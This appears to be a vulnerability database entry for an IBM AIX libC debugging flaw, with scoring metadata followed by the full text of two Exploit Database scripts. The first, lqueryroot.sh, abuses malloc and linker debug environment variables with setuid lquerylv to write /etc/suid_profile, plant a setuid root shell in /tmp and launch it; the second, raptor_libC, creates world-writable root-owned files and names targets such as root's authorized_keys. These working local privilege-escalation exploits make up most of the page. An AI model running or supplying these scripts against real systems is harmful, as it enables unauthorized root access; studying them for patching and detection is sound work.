Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-264 |
Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 40710
Publication date : 2016-11-03 23h00 +00:00
Author : Hector X. Monsegur
EDB Verified : Yes
#!/usr/bin/sh
#
# AIX lquerylv 5.3, 6.1, 7.1, 7.2 local root exploit. Tested against latest patchset (7100-04)
#
# This exploit takes advantage of known issues with debugging functions
# within the AIX linker library. We are taking advantage of known
# functionality, and focusing on badly coded SUID binaries which do not
# adhere to proper security checks prior to seteuid/open/writes.
#
# The CVEs we will be taking advantage of:
# - CVE-2009-1786: The malloc subsystem in libc in IBM AIX 5.3 and 6.1 allows
# local users to create or overwrite arbitrary files via a symlink attack on
# the log file associated with the MALLOCDEBUG environment variable.
#
# - CVE-2009-2669: A certain debugging component in IBM AIX 5.3 and 6.1 does
# not properly handle the (1) _LIB_INIT_DBG and (2) _LIB_INIT_DBG_FILE
# environment variables, which allows local users to gain privileges by
# leveraging a setuid-root program to create an arbitrary root-owned file
# with world-writable permissions, related to libC.a (aka the XL C++ runtime
# library) in AIX 5.3 and libc.a in AIX 6.1.
#
# - CVE-2014-3074: Runtime Linker Allows Privilege Escalation Via Arbitrary
# File Writes In IBM AIX.
#
# In each instance of the aforementioned CVEs, IBM merely patched the binaries
# which were reported in the original reports as being used for escalation of
# the vulnerabilities. This allowed for the lquerylv binary to slip by their
# patches and become an attack vector.
#
# Blog post URL: https://rhinosecuritylabs.com/2016/11/03/unix-nostalgia-hunting-zeroday-vulnerabilities-ibm-aix/
#
# lqueryroot.sh by @hxmonsegur [2016 //RSL]
ROOTSHELL=/tmp/shell-$(od -N4 -tu /dev/random | awk 'NR==1 {print $2} {}')
APP=$0
function usage
{
echo "Usage: $APP [1] | [2] | [3]"
echo
echo "1 - MALLOCDEBUG file write -> escalation"
echo "2 - _LIB_INIT_DBG_FILE file write -> escalation"
echo "3 - MALLOCBUCKETS file write -> escalation"
echo
echo "[lquerylv] AIX 5.3/6.1/7.1/7.2 Privilege escalation by @hxmonsegur //RSL"
exit
}
function CVE20091786
{
echo "[*] Exporting MALLOCDEBUG environment variable"
MALLOCTYPE=debug
MALLOCDEBUG=report_allocations,output:/etc/suid_profile
export MALLOCTYPE MALLOCDEBUG
}
function CVE20092669
{
echo "[*] Exporting _LIB_INIT_DBG_FILE environment variable"
_LIB_INIT_DBG=1
_LIB_INIT_DBG_FILE=/etc/suid_profile
export _LIB_INIT_DBG _LIB_INIT_DBG_FILE
}
function CVE20143074
{
echo "[*] Exporting MALLOCBUCKETS environment variable"
MALLOCOPTIONS=buckets
MALLOCBUCKETS=number_of_buckets:8,bucket_statistics:/etc/suid_profile
export MALLOCOPTIONS MALLOCBUCKETS
}
if [ -z "$1" ]; then
usage
exit 1
fi
while [ "$1" != "" ]; do
case $1 in
1 ) CVE20091786;;
2 ) CVE20092669;;
3 ) CVE20143074;;
* ) usage
break;;
esac
shift
done
if [ ! -x "/usr/sbin/lquerylv" ]; then
echo "[-] lquerylv isn't executable. Tough luck."
exit 1
fi
echo "[*] Setting umask to 000"
umask 000
echo "[*] Execute our vulnerable binary"
/usr/sbin/lquerylv >/dev/null 2>&1
if [ ! -e "/etc/suid_profile" ]; then
echo "[-] /etc/suid_profile does not exist and exploit failed."
exit 1
fi
echo "[*] Cleaning up /etc/suid_profile"
echo > /etc/suid_profile
echo "[*] Current id: `/usr/bin/id`"
echo "[*] Adding payload"
cat << EOF >/etc/suid_profile
cp /bin/ksh $ROOTSHELL
/usr/bin/syscall setreuid 0 0
chown root:system $ROOTSHELL
chmod 6755 $ROOTSHELL
rm /etc/suid_profile
EOF
echo "[*] Unsetting env"
unset MALLOCBUCKETS MALLOCOPTIONS _LIB_INIT_DBG_FILE _LIB_INIT_DBG MALLOCDEBUG MALLOCTYPE
echo "[*] Executing ibstat for fun and profit"
/usr/bin/ibstat -a >/dev/null 2>&1
if [ ! -e "$ROOTSHELL" ]; then
echo "[-] Rootshell does not exist and exploit failed."
exit 1
fi
echo "[*] Executing rootshell"
$ROOTSHELL
Exploit Database EDB-ID : 9645
Publication date : 2009-09-10 22h00 +00:00
Author : Marco Ivaldi
EDB Verified : Yes
#!/bin/sh
#
# $Id: raptor_libC,v 1.1 2009/09/10 15:08:04 raptor Exp $
#
# raptor_libC - AIX arbitrary file overwrite via libC debug
# Copyright (c) 2009 Marco Ivaldi <
[email protected]>
#
# Property of @ Mediaservice.net Srl Data Security Division
# http://www.mediaservice.net/ http://lab.mediaservice.net/
#
# *** DON'T RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
#
# A certain debugging component in IBM AIX 5.3 and 6.1 does not properly handle
# the (1) _LIB_INIT_DBG and (2) _LIB_INIT_DBG_FILE environment variables, which
# allows local users to gain privileges by leveraging a setuid-root program to
# create an arbitrary root-owned file with world-writable permissions, related
# to libC.a (aka the XL C++ runtime library) in AIX 5.3 and libc.a in AIX 6.1
# (CVE-2009-2669).
#
# Typical privilege escalation techniques via arbitrary file creation don't
# seem to work on recent AIX versions: .rhosts is ignored if it is group or
# world writable; LIBPATH and LDR_PRELOAD have no effect for setuid binaries;
# /var/spool/cron/atjobs seems useless as well, since we cannot open cron's
# named pipe /var/adm/cron/FIFO. Other viable exploitation vectors that come
# to mind, depending on the target box setup, are: /root/.ssh/authorized_keys,
# /root/{.profile,.kshrc}, and /etc/rc.d/rc2.d.
#
# See also: http://milw0rm.com/exploits/9306
#
# Usage:
# $ uname -a
# AIX rs6000 3 5 0052288E4C00
# $ lslpp -L xlC.rte | grep xlC.rte
# xlC.rte 9.0.0.1 C F XL C/C++ Runtime
# $ chmod +x raptor_libC
# $ ./raptor_libC /bin/bobobobobob
# [...]
# -rw-rw-rw- 1 root staff 63 Sep 10 09:55 /bin/bobobobobob
#
# Vulnerable platforms (AIX 5.3):
# xlC.rte < 8.0.0.0 [untested]
# xlC.rte 8.0.0.0-8.0.0.14 [untested]
# xlC.rte 9.0.0.0-9.0.0.9 [tested]
# xlC.rte 10.1.0.0-10.1.0.2 [untested]
#
# Vulnerable platforms (AIX 6.1):
# bos.rte.libc 6.1.0.0-6.1.0.11 [untested]
# bos.rte.libc 6.1.1.0-6.1.1.6 [untested]
# bos.rte.libc 6.1.2.0-6.1.2.5 [untested]
# bos.rte.libc 6.1.3.0-6.1.3.2 [untested]
# bos.adt.prof 6.1.0.0-6.1.0.10 [untested]
# bos.adt.prof 6.1.1.0-6.1.1.5 [untested]
# bos.adt.prof 6.1.2.0-6.1.2.4 [untested]
# bos.adt.prof 6.1.3.0-6.1.3.1 [untested]
#
echo "raptor_libC - AIX arbitrary file overwrite via libC debug"
echo "Copyright (c) 2009 Marco Ivaldi <
[email protected]>"
echo
# check the arguments
if [ -z "$1" ]; then
echo "*** DON'T RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***"
echo
echo "Usage: $0 <filename>"
echo
exit
fi
# prepare the environment
_LIB_INIT_DBG=1
_LIB_INIT_DBG_FILE=$1
export _LIB_INIT_DBG _LIB_INIT_DBG_FILE
# gimme -rw-rw-rw-!
umask 0
# setuid program linked to /usr/lib/libC.a
/usr/dt/bin/dtappgather
# other good setuid targets
# /usr/dt/bin/dtprintinfo
# /opt/IBMinvscout/bin/invscoutClient_VPD_Survey
# check the created file
ls -l $_LIB_INIT_DBG_FILE
echo
# milw0rm.com [2009-09-11]
Products Mentioned
Configuraton 0
Ibm>>Aix >> Version 5.3
Ibm>>Aix >> Version 6.1
References